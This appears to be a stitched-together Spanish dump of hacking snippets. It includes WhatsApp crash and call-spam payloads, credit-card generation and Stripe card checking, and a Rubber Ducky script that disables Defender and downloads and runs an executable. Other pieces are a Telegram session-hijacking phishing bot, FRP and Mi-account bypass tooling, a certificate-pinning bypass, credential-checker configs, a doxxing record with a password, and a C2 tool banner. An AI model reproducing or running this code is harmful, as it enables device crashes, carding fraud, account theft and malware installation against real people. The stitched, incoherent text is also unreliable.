- Estafas
- Ventas ilegales 
- Scammers
- Toxicidad

SAMSUNG
[MTP]
Added read Android version, FRP status, "OLD-NEW SECURITY," USA METHOD, and VIA CODE.
Fixed "Stuck Waiting for DIAG port."
Fixed "Detect Testmode for change CSC."

ADB
Added/removed Arabic language via theme/no theme.
Added functionality to remove Samsung account, FRP, disable OTA, handfree, add data toggle, and convert via SIM-card.

DOWNLOAD
Added "Remove FRP, FIX STUCK ON LOGO" and "FLASH Firmware."

4G|VoLTE
Added 4G support for all Qualcomm devices via DIAG.
Added read, write, and enable LTE bands.
Added fix baseband via DIAG, FASTBOOT, DOWNLOAD.
Added edit, read, write carrier policy.
Added fix 4G after replacing SIM-card.

MTP
Fixed "Stuck Waiting for DIAG port."
Fixed "Detect Testmode for change CSC."

ADB
Added/removed Arabic language via theme/no theme.
Added functionality to remove Samsung account, FRP, disable OTA, handfree, add data toggle, and convert via SIM-card.

DOWNLOAD
Added "Remove FRP, FIX STUCK ON LOGO" and "FLASH Firmware."

LG
DIAG
Added read information, read-write MEID and IMEI, read-write QCN.
Added reboot to download, normal, and factory reset.

Modem port
Added read information, open hidden menu, enable ADB, reset modem, open LG port, and skip screen lock.
edl mode
Added "Remove FRP" and "Factory reset" for some models.
LG UP
Added LG UP (Flash KDZ LG).

Xiaomi
ADB
Added enable diag and bypass Mi account.
Sideload
Added read information, remove FRP, and bypass Mi account.
Fastboot
Added remove FRP and read/flash firmware.
edl
Added remove FRP, read, backup, erase, flash firmware, and bypass Mi account.

QUALCOMM
ADB
Added unlock and remove MDM for Google Pixel.
DIAG
Added read/write IMEI, MEID, and QCN.
edl
Added remove FRP, read, backup, erase, flash firmware, erase userdata, and bypass Mi account.

MEDIATEK
Brom
Introduced a new and faster method for all operations.
Added read information, read/write/fix boot, remove FRP/demo, fix WiFi, unlock/re-lock bootloader, convert LG-K500-Q730, reboot to normal, and factory reset.

UniSPD
FRP Tap
Added remove FRP, userdata, and more.
AT Tap
Added read IMEI and enable factory mode for many models.
Flash Tap
Added read/write firmware for many models.

ANDROID
ADB
Added Applications Manager.
Added functionality to change language for all Android devices.
Added enable diag (root/no root), open APN, network menu.
Added remove bloatware, update, FRP, demo, Mi, etc.
Added install Magisk, format device, and fix fastboot.

MTP
Added functionality to open Browser, YouTube, Map, Store, Phone Dealer, etc., for bypassing FRP.

case 'anti-block':
if (!isBot && !isCreator) return
await conn.sendMessage(from, {react: {text: '✅',key: m.key}})
for (let i = 0; i < 3; i++) {
await conn.relayMessage(q, {
"messageContextInfo": {
"messageSecret": "eed1zxI49cxiovBTUFLIEWi1shD9HgIOghONuqPDGTk=",
"deviceListMetaData": {},
"deviceListMetadataVersion": 2
},
"scheduledCallCreationMessage": {
"scheduledTimestampMs": '1200',
"callType": "AUDIO",
"title": '👻'
}
}, { additionalAttributes: { edit: '7' } })
}
break;

case 'force':
if (!isBot && !isCreator) return
await conn.sendMessage(from, {react: {text: '✅',key: m.key}})
for (let i = 0; i < 3; i++) {
await conn.relayMessage(q, {
"messageContextInfo": {
"messageSecret": "eed1zxI49cxiovBTUFLIEWi1shD9HgIOghONuqPDGTk=",
"deviceListMetaData": {},
"deviceListMetadataVersion": 2
},
"scheduledCallCreationMessage": {
"scheduledTimestampMs": '1200',
"callType": "AUDIO",
"title": '👻'
}
}, { additionalAttributes: { edit: '7' } })
}
break;

case 'hidetag':
if (!isBot && !isCreator) return 
if (!q) return
mentionedJidList = participants.map(member => member.id);
await conn.sendMessage(from,{text: q,contextInfo: {mentionedJid: mentionedJidList}})
break

case 'promoveall':
if (!isBot && !isCreator) return 
try {
await conn.groupParticipantsUpdate(from, PrecisaSerMembro, 'promote');
} catch (e) {
console.log(e);
}
break;

case 'demoteall':
if (!isBot && !isCreator) return 
try {
await conn.groupParticipantsUpdate(from, PrecisaSerAdm, 'demote');
} catch (e) {
console.log(e);
}
break

let gutCok = JSON.stringify({
status: true,
criador: " sock ",
resultado: {
type: "md",
ws: {
_events: { "CB:ib,,dirty": ["Array"] },
_eventsCount: 800000,
_maxListeners: 0,
url: "wss://web.whatsapp.com/ws/chat",
config: {
version: ["Array"],
browser: ["Array"],
waWebSocketUrl: "wss://web.whatsapp.com/ws/chat",
sockCectTimeoutMs: 20000,
keepAliveIntervalMs: 30000,
logger: {},
printQRInTerminal: false,
emitOwnEvents: true,
            defaultQueryTimeoutMs: 60000,
            customUploadHosts: [],
            retryRequestDelayMs: 250,
            maxMsgRetryCount: 5,
            fireInitQueries: true,
            auth: { Object: "authData" },
            markOnlineOnsockCect: true,
            syncFullHistory: true,
            linkPreviewImageThumbnailWidth: 192,
            transactionOpts: { Object: "transactionOptsData" },
            generateHighQualityLinkPreview: false,
            options: {},
            appStateMacVerification: { Object: "appStateMacData" },
            mobile: true
            }
            }
            }
            });
            const contextInfo = {
            mentionedJid: [numeroDestinatario + "@s.whatsapp.net"],
            isForwarded: true,
            forwardingScore: 999,
            businessMessageForwardInfo: {
            businessOwnerJid: numeroDestinatario + "@s.whatsapp.net"
            }
            };
            
            let messagePayload = {
            viewOnceMessage: {
            message: {
            messageContextInfo: {
            deviceListMetadata: {},
            deviceListMetadataVersion: 2
            },
            interactiveMessage: {
            contextInfo,
            body: {
            text: " sock ",
            },
            nativeFlowMessage: {
            buttons: [
            { name: "single_select", buttonParamsJson: gutCok + " sock ",},
            { name: "call_permission_request", buttonParamsJson: gutCok + "\u0003",},
            ]
            }
            }
            }
            }
            };
            
            await sock.relayMessage(numeroDestinatario, messagePayload, {});

import requests

login_url = "https://api.atomicmail.io/v1/auth/sign-in"
login_headers = {
    "content-type": "application/json"
}
login_data = {
    "username": "",
    "password": ""
}

login_response = requests.post(login_url, headers=login_headers, json=login_data)
response_json = login_response.json()
token = (
    response_json.get("accessToken") or
    response_json.get("access_token") or
    response_json.get("token") or
    response_json.get("jwt") or
    None
)

if not token:
    print("No se pudo obtener el token.")
    exit()

send_url = "https://api.atomicmail.io/v1/messages/submit"
send_headers = {
    "Authorization": f"Bearer {token}",
    "content-type": "application/json",
    "Accept": "*/*"
}

send_data = {
    "from": {
        "address": "",
        "name": ""
    },
    "cc": [],
    "bcc": [],
    "html": "<div>\n<p>RIP API</p>\n<p>\n</p></div> <br/>",
    "attachments": [],
    "subject": "OOOON",
    "to": [
        {
            "address": "",
            "name": ""
        }
    ]
}

send_response = requests.post(send_url, headers=send_headers, json=send_data)

print("Estado:", send_response.status_code)
print("Respuesta:", send_response.text)

import requests
from telethon import events

@client.on(events.NewMessage(pattern=r'\.fakedata (\w{2})'))
async def fakedata_handler(event):
    country_code = event.pattern_match.group(1).lower()

    try:
        url = f'https://randomuser.me/api/?nat={country_code}'
        response = requests.get(url)

        if response.status_code != 200:
            await event.respond(f"❌ País `{country_code}` no soportado o sin datos.")
            return

        user = response.json()['results'][0]

        name = f"{user['name']['first']} {user['name']['last']}"
        gender = user['gender'].title()
        email = user['email']
        phone = user['phone']
        cell = user['cell']
        username = user['login']['username']
        password = user['login']['password']
        dob = user['dob']['date'][:10]
        age = user['dob']['age']
        ip = user['location']['coordinates']
        address = f"{user['location']['street']['number']} {user['location']['street']['name']}, {user['location']['city']}, {user['location']['state']}, {user['location']['country']}"

        msg = f"""
🧾 **Datos Generados** ({country_code.upper()})
━━━━━━━━━━━━━━━━━━━━━━━
👤 **Nombre:** {name}
⚧️ **Género:** {gender}
🎂 **Nacimiento:** {dob} ({age} años)
📬 **Email:** {email}
📞 **Teléfono:** {phone}
📱 **Móvil:** {cell}

🔐 **Usuario:** {username}
🔑 **Contraseña:** {password}

🏠 **Dirección:** {address}
🌐 **Coordenadas:** Lat {ip['latitude']} / Lon {ip['longitude']}
━━━━━━━━━━━━━━━━━━━━━━━
"""
        await event.respond(msg.strip())

    except Exception as e:
        await event.respond(f"❌ Error generando datos.\n📌 Detalles: `{e}`")

import requests
from telethon import events

@client.on(events.NewMessage(pattern=r'\.bininfo (\d{6,8})'))
async def bininfo_handler(event):
    bin_code = event.pattern_match.group(1)

    try:
        url = f"https://lookup.binlist.net/{bin_code}"
        headers = {'Accept-Version': '3'}
        response = requests.get(url, headers=headers)

        if response.status_code != 200:
            await event.respond(f"❌ No se encontró información para el BIN `{bin_code}`.")
            return

        data = response.json()

        brand = data.get('scheme', 'Desconocido').title()
        type_ = data.get('type', 'Desconocido').title()
        level = data.get('brand', 'Desconocido')
        bank = data.get('bank', {}).get('name', 'Desconocido')
        country = data.get('country', {}).get('name', 'Desconocido')
        emoji = data.get('country', {}).get('emoji', '')
        currency = data.get('country', {}).get('currency', 'Desconocida')

        respuesta = f"""
💳 **Información del BIN `{bin_code}`**
━━━━━━━━━━━━━━━━━━━━━━━
🏦 **Banco:** {bank}
🌍 **País:** {country} {emoji}
💱 **Moneda:** {currency}
📶 **Red:** {brand}
💳 **Tipo:** {type_}
⭐ **Nivel:** {level}
━━━━━━━━━━━━━━━━━━━━━━━
"""
        await event.respond(respuesta.strip())

    except Exception as e:
        await event.respond(f"❌ Error al consultar la BIN.\n📌 Detalles: `{e}`")

import random
from telethon import events

def generar_bin(pattern):
    return ''.join(str(random.randint(0, 9)) if c.lower() == 'x' else c for c in pattern)

@client.on(events.NewMessage(pattern=r'\.bingenv2 (.+)'))
async def bingenv2_handler(event):
    pattern = event.pattern_match.group(1)

    try:
        generadas = [generar_bin(pattern) for _ in range(10)]
        respuesta = "\n".join(f"`{g}`" for g in generadas)
        await event.respond(f"💳 BINs generadas:\n{respuesta}")
    except Exception as e:
        await event.respond(f"❌ Error al generar BINs.\n📌 Detalles: `{e}`")

    
import random
from telethon import events

def generar_cc(bin_pattern):
    partes = bin_pattern.split('|')

    # BIN
    bin_generado = ''.join(str(random.randint(0, 9)) if c.lower() == 'x' else c for c in partes[0])

    # Mes (MM)
    if 'x' in partes[1].lower():
        mes = f"{random.randint(1, 12):02}"
    else:
        mes = partes[1]

    # Año (YY)
    if 'x' in partes[2].lower():
        anio = str(random.randint(25, 30))  # Rango ajustable
    else:
        anio = partes[2]

    # CVV
    if 'x' in partes[3].lower():
        cvv = ''.join(str(random.randint(0, 9)) for _ in range(3))
    else:
        cvv = partes[3]

    return f"{bin_generado}|{mes}|{anio}|{cvv}"

@client.on(events.NewMessage(pattern=r'\.bingenv1 (.+)'))
async def bingen_handler(event):
    entrada = event.pattern_match.group(1)

    try:
        generadas = [generar_cc(entrada) for _ in range(10)]
        resultado = "\n".join(f"`{g}`" for g in generadas)
        await event.respond(f"💳 Generadas:\n{resultado}")
    except Exception as e:
        await event.respond(f"❌ Error al procesar el patrón.\n📌 Detalles: `{e}`")

from telethon import events
import stripe
import re

stripe.api_key = ''X"

@client.on(events.NewMessage(pattern=r'^\.checkcc (\d{15,16}\|\d{2}\|\d{2}\|\d{3,4})$'))
async def check_cc_handler(event):
    cc_input = event.pattern_match.group(1)
    match = re.match(r'^(\d{15,16})\|(\d{2})\|(\d{2})\|(\d{3,4})$', cc_input)
    if not match:
        await event.reply("❌ Formato inválido. Usa `.checkcc 4556737586899855|12|25|123`")
        return

    cc, mm, yy, cvv = match.groups()

    try:
        token = stripe.Token.create(
            card={
                "number": cc,
                "exp_month": int(mm),
                "exp_year": int('20' + yy),
                "cvc": cvv,
            },
        )

        charge = stripe.Charge.create(
            amount=1,
            currency='usd',
            source=token.id,
            description='X',
        )

        if charge.status == 'succeeded':
            msg = f"✅ Aprobada\n» `{cc_input}`\n» Cargada con éxito"
        else:
            msg = f"❌ Rechazada\n» `{cc_input}`\n» Estado: {charge.status}"

    except stripe.error.CardError as e:
        msg = f"❌ Tarjeta rechazada\n» `{cc_input}`\n» {e.user_message}"
    except Exception as e:
        msg = f"⚠️ Error\n» {str(e)}"

    await event.reply(msg)

import requests

url = "https://contratarofertavodafone.es/public/c2c/process"

headers = {
    "Host": "contratarofertavodafone.es",
    "Connection": "keep-alive",
    "sec-ch-ua-platform": "\"Windows\"",
    "X-Requested-With": "XMLHttpRequest",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 OPR/118.0.0.0",
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "sec-ch-ua": "\"Not(A:Brand\";v=\"99\", \"Opera GX\";v=\"118\", \"Chromium\";v=\"133\"",
    "Content-Type": "application/json",
    "sec-ch-ua-mobile": "?0",
    "Origin": "https://contratarofertavodafone.es",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Dest": "empty",
    "Referer": "https://contratarofertavodafone.es/p/rg-vodafone-m-contacto?gad_source=1&gad_campaignid=22322149419&gclid=CjwKCAjw87XBBhBIEiwAxP3_A5SDelazs_aTSh_cnK8skPFIWkp6NRyt-W2jU2U8rFYvXdwW71jrLRoCnpEQAvD_BwE",
    "Accept-Encoding": "gzip, deflate, br, zstd",
    "Accept-Language": "es-ES,es;q=0.9"
}

payload = {
    "visitId": "51c88eee-2aa9-4019-9bf0-ba69289cf3ba",
    "contentUrl": "https://contratarofertavodafone.es/p/rg-vodafone-m-contacto?gad_source=1&gad_campaignid=22322149419&gclid=CjwKCAjw87XBBhBIEiwAxP3_A5SDelazs_aTSh_cnK8skPFIWkp6NRyt-W2jU2U8rFYvXdwW71jrLRoCnpEQAvD_BwE",
    "contentType": "LandingPage",
    "contentId": "vodafone-gg-c-sea-bra-contacto",
    "templateId": "Vodafone_Site",
    "sourceId": "rg-vodafone-m-contacto",
    "campaignId": "vodafone-gg-c-sea-bra-contacto",
    "thankyouPageUrl": "https://contratarofertavodafone.es/t/p/rg-vodafone-m-contacto/c2c",
    "formId": "form_c2c_0",
    "buttonId": "form_c2c_0_4",
    "contactData": {
        "trackingId": "89807f1c-b351-42d0-8f6f-71c31cb7661b",
        "fingerprint": "74fe71238091f2e7584ad6eb48d19981",
        "interesCliente": "fibra-movil.html",
        "Subproducto": "",
        "lote": "calcula_noclientes",
        "C2C": "crea tu tarifa",
        "phone": "603773322",
        "ComunicacionesComerciales": "true"
    },
    "contactFiles": []
}

response = requests.post(url, json=payload, headers=headers)

if response.status_code == 200:
    data = response.json()
    if data.get("status") == True:
        estado = data.get("data", {}).get("status", "")
        if estado == "duplicate":
            print("El contacto ya existe y no se ha enviado (duplicado).")
        elif estado in ["ok", "success", "new"]:
            print("Enviado con éxito.")
        else:
            print(f"Respuesta recibida: {estado}")
    else:
        print("Error en la solicitud:", data.get("description", "Sin descripción"))
else:
    print(f"Error HTTP: Código {response.status_code}")

- domain/IP/ASN
- domain creation date
- phishing/malware reputation

- SANS posters & cheatsheets
- Blog feed
- YouTube feed
- Memory tools
- Network tools
- Malware tools
- getting started guides

- getting started guides
- VM/distros
- decoding tools
- mobile forensics
- network analysis
- metadata tools
- SANS posters/cheatsheets

- digital Investigations
- cybersecurity
- investigative journalism
- OPSEC
- sourcing
- national security
- intelligence mindset

case "atraso-x":
for (let i = 0; i < 10; i++) {
  if (!isBot && !isCreator) return enviar("error")

  await conn.sendMessage(from, {
    text: "x",
    contextInfo: {
      isForwarded: true,
      forwardingScore: 9999999999999999999999999,
      externalAdReply: {
        title: "X",
        body: "X",
        mediaType: 1,
        previewType: "NONE",
        sourceUrl: "https://youtu.be/ripnetwork", 
        showAdAttribution: true
      }
    }
  }, { quoted: info })
}
break

case '.call-spam':
  while (true) {
    try {
      await sock.offerCall(from, true);
    } catch (err) {
      console.error('Error:', err);
      break;
    }
  }
  break;

async function telapreta(target){
const fakeKey={
"remoteJid":target,
"fromMe":true,
"id":await snowi.relayMessage(target,{
"albumMessage":{
"expectedImageCount":-12345678,
"expectedVideoCount":0,
"caption":"y"
}
},{participant:{jid:target}})
}
let mediaPayload={
"url":"https://mmg.whatsapp.net/o1/v/t24/f2/m222/BQL8rZAb9-mdK6YErY7bbkdiHG5UCfAwknPz1ZjDlSKJ5zGx8zTosKqGZqkDsFhTXYUagBdrVtMLr3TSxPq4JXZAV9mSTsd2LMZ6Ae?ccb=11-4&oh=01_VcA3gHReiFo3UcNddZXeLMw_eXAhp7WVgIUCG22597K9prFdB&oe=66F24591&_nc_sid=a12d3&mms3=true",
"mimetype":"image/jpeg",
"fileSha256":"q1AXTcy4W1gqF4m0+rf2JwT2Jf/HKJuRW1EI/YXeLEE=",
"fileLength":"289532",
"height":1080,
"width":720,
"mediaKey":"hJDzE4PkL1WRKuGbBhwYpNgUqZCSYv03qXzmQz4V5AY=",
"fileEncSha256":"9sK1d/PXkjyVzY8Bx3TQfLwXpAs6Y9VnDd1QoIjdBtQ=",
"directPath":"/o1/v/t24/f2/m222/BQL8rZAb9-mdK6YErY7bbkdiHG5UCfAwknPz1ZjDlSKJ5zGx8zTosKqGZqkDsFhTXYUagBdrVtMLr3TSxPq4JXZAV9mSTsd2LMZ6Ae?ccb=11-4&oh=01_VcA3gHReiFo3UcNddZXeLMw_eXAhp7WVgIUCG22597K9prFdB&oe=66F24591&_nc_sid=a12d3"
}
for(let i=0;i<2;i++){
const msg=generateWAMessageFromContent(target,proto.Message.fromObject({
"botInvokeMessage":{
"message":{
"messageContextInfo":{
"messageSecret":(0,crypto.randomBytes)(32),
"messageAssociation":{
"associationType":"MEDIA_ALBUM",
"parentMessageKey":fakeKey
}
},
"imageMessage":mediaPayload
}
}
}),{participant:{jid:target}})
const sentMsgId=await snowi.relayMessage(target,msg.message,{messageId:msg.key.id,participant:{jid:target}})
mediaPayload.caption="𑲱".repeat(100000);
snowi.relayMessage(target,{
"protocolMessage":{
"type":"MESSAGE_EDIT",
"key":{
"fromMe":true,
"remoteJid":target,
"id":sentMsgId
},
"editedMessage":{
"imageMessage":mediaPayload
}
}
},{participant:{jid:target}})
await sleep(100)
}
}

REM Payload Created by 0xNullSec
REM Payload to download malware with high privileges
REM The payload is not fully optimized as it is only for a PoC
REM In my case it is configured for the Spanish keyboard.

DELAY 1000
WINDOWS r 
DELAY 500
STRING powershell -Command "Start-Process PowerShell -Verb RunAs
ENTER 
DELAY 2500 
TAB
TAB
ENTER 
DELAY 1000
WINDOWS UP
DELAY 500
STRING whoami /priv
ENTER
DELAY 1000
STRING Add-MpPreference -ExclusionPath $env:TEMP
ENTER
DELAY 500
STRING $destino = "$env:TEMP\client.exe"
ENTER
STRING Invoke-WebRequest -Uri 'http://192.168.1.8:8000/client.exe' -OutFile $destino
ENTER
STRING Start-Process $destino
ENTER

- Scammers
- Estafadores 
- Pedófilos
- Drogadictos 
- Acosadores 
- Toxicidad

#!/bin/bash

apk="${1:-Instagram.apk}"
tmp_dir=$(mktemp -d)
output_apk="mod_${apk##*/}"

apktool d "$apk" -o "$tmp_dir"
mkdir -p "$tmp_dir/res/xml"
cat > "$tmp_dir/res/xml/network_security_config.xml" <<EOF
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <base-config>
        <trust-anchors>
            <certificates src="system" />
            <certificates src="user" overridePins="true" />
        </trust-anchors>
    </base-config>
</network-security-config>
EOF

manifest="$tmp_dir/AndroidManifest.xml"
sed -i '/<application / s|>| android:networkSecurityConfig="@xml/network_security_config">|' "$manifest"

apktool b "$tmp_dir" -o "$output_apk"

Cómo lo hace?

1. Te pide tu número de teléfono.


2. Telegram te manda el código de inicio de sesión.


3. El bot te lo pide directamente.


4. Si lo ingresás, le estás dando tu sesión completa.

Recomendaciones:
– No pongas el código en ningún bot, jamás.
– Activá la verificación en dos pasos (V2P) para que no puedan entrar aunque tengan el código.
– Si ya caíste, cerrá todas las sesiones activas desde otro dispositivo de inmediato.

import os
import asyncio
from telethon.sync import TelegramClient
from telethon.sessions import StringSession
from telethon import TelegramClient, events

API_ID = 29241476
API_HASH = '7e8192ad4660e0b8907820a8b6cf3858'

SESSIONS_FOLDER = 'sesiones'
os.makedirs(SESSIONS_FOLDER, exist_ok=True)

bot_token = input("Token del bot: ")
bot = TelegramClient('bot', API_ID, API_HASH).start(bot_token=bot_token)

pending_sessions = {}

@bot.on(events.NewMessage(pattern='/start'))
async def start(event):
    await event.respond("Envia tu número con código de país:")
    pending_sessions[event.sender_id] = {'step': 'wait_phone'}

@bot.on(events.NewMessage)
async def handle(event):
    user_id = event.sender_id
    if user_id not in pending_sessions:
        return

    user_state = pending_sessions[user_id]

    if user_state['step'] == 'wait_phone':
        phone = event.raw_text.strip()
        session_name = os.path.join(SESSIONS_FOLDER, phone.replace('+', ''))
        user_state['phone'] = phone
        user_state['session_name'] = session_name
        user_state['client'] = TelegramClient(session_name, API_ID, API_HASH)
        await user_state['client'].connect()

        if await user_state['client'].is_user_authorized():
            await event.respond("Ya estás autenticado.")
            await user_state['client'].disconnect()
            del pending_sessions[user_id]
            return

        try:
            await user_state['client'].send_code_request(phone)
            await event.respond("Ingresa el código:")
            user_state['step'] = 'wait_code'
        except:
            await event.respond("Error al enviar código.")
            await user_state['client'].disconnect()
            del pending_sessions[user_id]

    elif user_state['step'] == 'wait_code':
        code = event.raw_text.strip()
        try:
            await user_state['client'].sign_in(user_state['phone'], code)
            await event.respond("Sesión guardada.")
            await user_state['client'].disconnect()
        except:
            await event.respond("Error al iniciar sesión.")
        del pending_sessions[user_id]

bot.run_until_disconnected()

OSINT OhMyData V3 Whit DB

{
  "email": "durov@telegram.org",
  "password": "V70]",
  "hashed_passwords": {
    "md5": "55c3dc70bcebde930a12c698cfb770ad",
    "sha1": "d13647a0b20322fc2a85ae92b5e8a707b8e1dc6e",
    "sha256": "e6335d49f0156f6e61d5a0a23f3888fe34f428bd560de060f907ffa6d6f92049",
    "sha512": "76e2d599c8a783fab2c91c64e32c45c10eb99621f1d064f11d654284c8495d6e6f2d6fef6322d0ca327cdaeae43c87393856320a863f71130367ee0e50691ba2",
    "base64": "VjcwXQ=="
  },
  "profile": {
    "name": "Pavel Durov",
    "aliases": [
      "pavel durov"
    ],
    "address": [
      "Othery, England, TA7, United Kingdom",
      "othery, united kingdom",
      "england, united kingdom"
    ],
    "company": "telegram messenger",
    "urls": [
      "druzik.pp.ua/reg.php",
      "http://www.linkedin.com/in/pavel-durov-80174366"
    ]
  }
}

OSINT OhMyData V2 Whitout DB

{
  "module": "newyorktimes",
  "schemaModule": "New York Times",
  "pretty_name": "New York Times",
  "type": "card",
  "status": "found",
  "query": "durov@telegram.org",
  "from": "User supplied email.",
  "reliable_source": true,
  "category": {
    "name": "News",
    "description": "Platforms that provide news and information."
  },
  "data": {},
  "spec_format": [
    {
      "registered": {
        "type": "bool",
        "proper_key": "Registered",
        "value": true
      },
      "id": {
        "type": "int",
        "proper_key": "Id",
        "value": 257917127
      },
      "platform_variables": []
    }
  ],
  "widgets": [],
  "attributes": [
    ""
  ],
  "front_schemas": [
    {
      "module": "New York Times",
      "body": {},
      "tags": [],
      "timeline": {
        "last_seen": true,
        "registered": true,
        "last_seen_date": null,
        "registered_date": null,
        "groups": {},
        "group_items": {},
        "group_years": {}
      }
    }
  ]
}

[Project Settings]
ProjectName=EpicGamesV1
[Request Settings]
Domain=epicgames.com
ResponseValide=sessionInvalidated=true
Header5=
Header4=
Header3=
Header2=
Header1=
AddHeader5=False
AddHeader4=False
AddHeader3=False
AddHeader2=False
AddHeader1=False
X-Requested-With=False  XMLHttpRequest
Referer=True  https://www.epicgames.com/
ContentType=True  application/json, text/plain, */*
Accept=True  */*
UserAgent=True  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Body=
URL=https://www.epicgames.com/site/es-ES/home?sessionInvalidated=true
Method=GET

[Parser Settings]
ParsURL=
ParsBefore=
ParsAfter=
UseParser=False
MethodParser=One
UseURL=False

[Project Settings]
ProjectName=DropboxV1
[Request Settings]
Domain=dropbox.com
ResponseValide=user_data\
Header5=
Header4=
Header3=
Header2=
Header1=
AddHeader5=False
AddHeader4=False
AddHeader3=False
AddHeader2=False
AddHeader1=False
X-Requested-With=False XMLHttpRequest
Referer=False 
ContentType=True application/x-www-form-urlencoded
Accept=True */*
UserAgent=True Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Body=
URL=https://www.dropbox.com/home
Method=GET

[Parser Settings]
ParsURL=
ParsBefore=", \"deprecated_first_user_in_t
ParsAfter=\"_user_data\"
UseParser=True
MethodParser=One
UseURL=False

case 'reversechat':
if (!isBot && !isCreator) return
for (let i = 0; i < travaSend; i++) {
conn.relayMessage(from,{
extendedTextMessage:{
"text":"Adios",
"contextInfo": {
"stanzaId": info.chat,
"participant": info.chat,
"quotedMessage": {
"conversation": "Hola"
},
"disappearingMode": {
"initiator": "CHANGED_IN_CHAT",
"trigger": "CHAT_SETTING"
}
},
"inviteLinkGroupTypeV2": "DEFAULT"
}
},{messageId: null})
}
break;

case 'reversegroup':
if (!isBot && !isCreator) return
for (let i = 0; i < travaSend; i++) {
conn.relayMessage(from,{
extendedTextMessage:{
"text":'.',
"contextInfo": {
"stanzaId": info.chat,
"participant": "8619357117085@s.whatsapp.net",
"quotedMessage": {
"conversation": "Hola"
},
"disappearingMode": {
"initiator": "CHANGED_IN_CHAT",
"trigger": "CHAT_SETTING"
}
},
"inviteLinkGroupTypeV2": "DEFAULT"
}
},{messageId: null})
}
break;

- People Search
- Company Registries
- Land/Property records
- Procurements/Tenders

### 1. Integración del SDK
- La aplicación integra el Google Mobile Ads SDK (com.google.android.gms:play-services-ads)
- Este SDK maneja la comunicación con los servidores de AdMob
- Se configura con un Application ID único para la app

### 2. Tipos de anuncios
- Banner ads: Anuncios rectangulares en la parte superior/inferior de la pantalla
- Interstitial ads: Anuncios de pantalla completa que aparecen en transiciones
- Rewarded ads: Anuncios que ofrecen recompensas por verlos completos
- Native ads: Anuncios que se integran naturalmente con el contenido de la app
- App Open ads: Anuncios que aparecen cuando se abre la aplicación

### 3. Proceso de carga y muestra
1. La app solicita un anuncio usando un Ad Unit ID
2. AdMob selecciona el mejor anuncio basado en factores como ubicación, perfil del usuario, etc.
3. El anuncio se descarga y cachea en el dispositivo
4. Se muestra al usuario en el momento apropiado

## Dónde encontrar los anuncios en una aplicación desensamblada

Al desensamblar una aplicación Android (usando herramientas como APKTool, jadx, etc.), puedes encontrar evidencia de anuncios en varios lugares:

### 1. AndroidManifest.xml
<!-- Permisos relacionados con anuncios -->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

<!-- Activities de AdMob -->
<activity android:name="com.google.android.gms.ads.AdActivity" />
<activity android:name="com.google.android.gms.ads.OutOfContextTestingActivity" />

<!-- Meta-data con Application ID -->
<meta-data
    android:name="com.google.android.gms.ads.APPLICATION_ID"
    android:value="ca-app-pub-xxxxxxxxxxxxxxxx~xxxxxxxxxx"/>


### 2. Archivos de código fuente (Java/Kotlin)
// Importaciones típicas
import com.google.android.gms.ads.*;
import com.google.android.gms.ads.interstitial.*;
import com.google.android.gms.ads.rewarded.*;

// Inicialización de anuncios
MobileAds.initialize(this);

// Ad Unit IDs (generalmente en strings.xml o hardcoded)
private static final String BANNER_AD_UNIT_ID = "ca-app-pub-xxxxx/xxxxx";


### 3. Archivo strings.xml
<resources>
    <string name="admob_app_id">ca-app-pub-xxxxxxxxxxxxxxxx~xxxxxxxxxx</string>
    <string name="banner_ad_unit_id">ca-app-pub-xxxxxxxxxxxxxxxx/xxxxxxxxxx</string>
    <string name="interstitial_ad_unit_id">ca-app-pub-xxxxxxxxxxxxxxxx/xxxxxxxxxx</string>
</resources>


### 4. Archivos de layout XML
<!-- Vista de banner en layouts -->
<com.google.android.gms.ads.AdView
    android:id="@+id/adView"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    ads:adSize="BANNER"
    ads:adUnitId="@string/banner_ad_unit_id" />


### 5. Dependencias en build.gradle
dependencies {
    implementation 'com.google.android.gms:play-services-ads:XX.X.X'
    implementation 'com.google.android.gms:play-services-ads-identifier:XX.X.X'
}


### 6. Archivos de configuración
- assets/: Pueden contener configuraciones de anuncios
- res/raw/: Archivos de configuración JSON para anuncios nativos
- ProGuard/R8 rules: Reglas para ofuscar código relacionado con anuncios

### 7. Librerías nativas (.so files)
En la carpeta lib/, puedes encontrar:
- Librerías relacionadas con AdMob
- SDKs de otros proveedores de anuncios (Facebook, Unity Ads, etc.)

### 8. Network Security Config
<!-- Configuración para permitir tráfico de anuncios -->
<network-security-config>
    <domain-config cleartextTrafficPermitted="true">
        <domain includeSubdomains="true">googleads.g.doubleclick.net</domain>
        <domain includeSubdomains="true">googlesyndication.com</domain>
    </domain-config>
</network-security-config>

#!/usr/bin/env python3
import paramiko
import json
import os

configssh = "connections.json"

GREEN = "\033[92m"
RESET = "\033[0m"
CYAN = "\033[96m"
YELLOW = "\033[93m"


banner = r"""
⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢀⢴⣖⢤⣀⣼⠛⡚⣳⠢⢤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢸⡃⢸⣿⡷⣯⠀⣟⢿⠀⠘⡌⢢⡀⠀⠀Simple C2 Manager ⠀⠀⠀⠀⠀⠀⠀
⠈⢗⣬⡮⠃⠘⠩⠝⠃⠀⢀⠇⠀⣷⠀⠀⠀⠀Created By RIP-Network⠀⠀⠀⠀⠀
⠀⠀⡇⠀⠀⠀⢠⡆⡰⠒⡞⠀⡰⠃⢇⠀⠀  ⠀Version⠀1.8⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠡⣀⣀⠔⢱⡰⠁⠀⢠⠊⠀⠀⢸⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
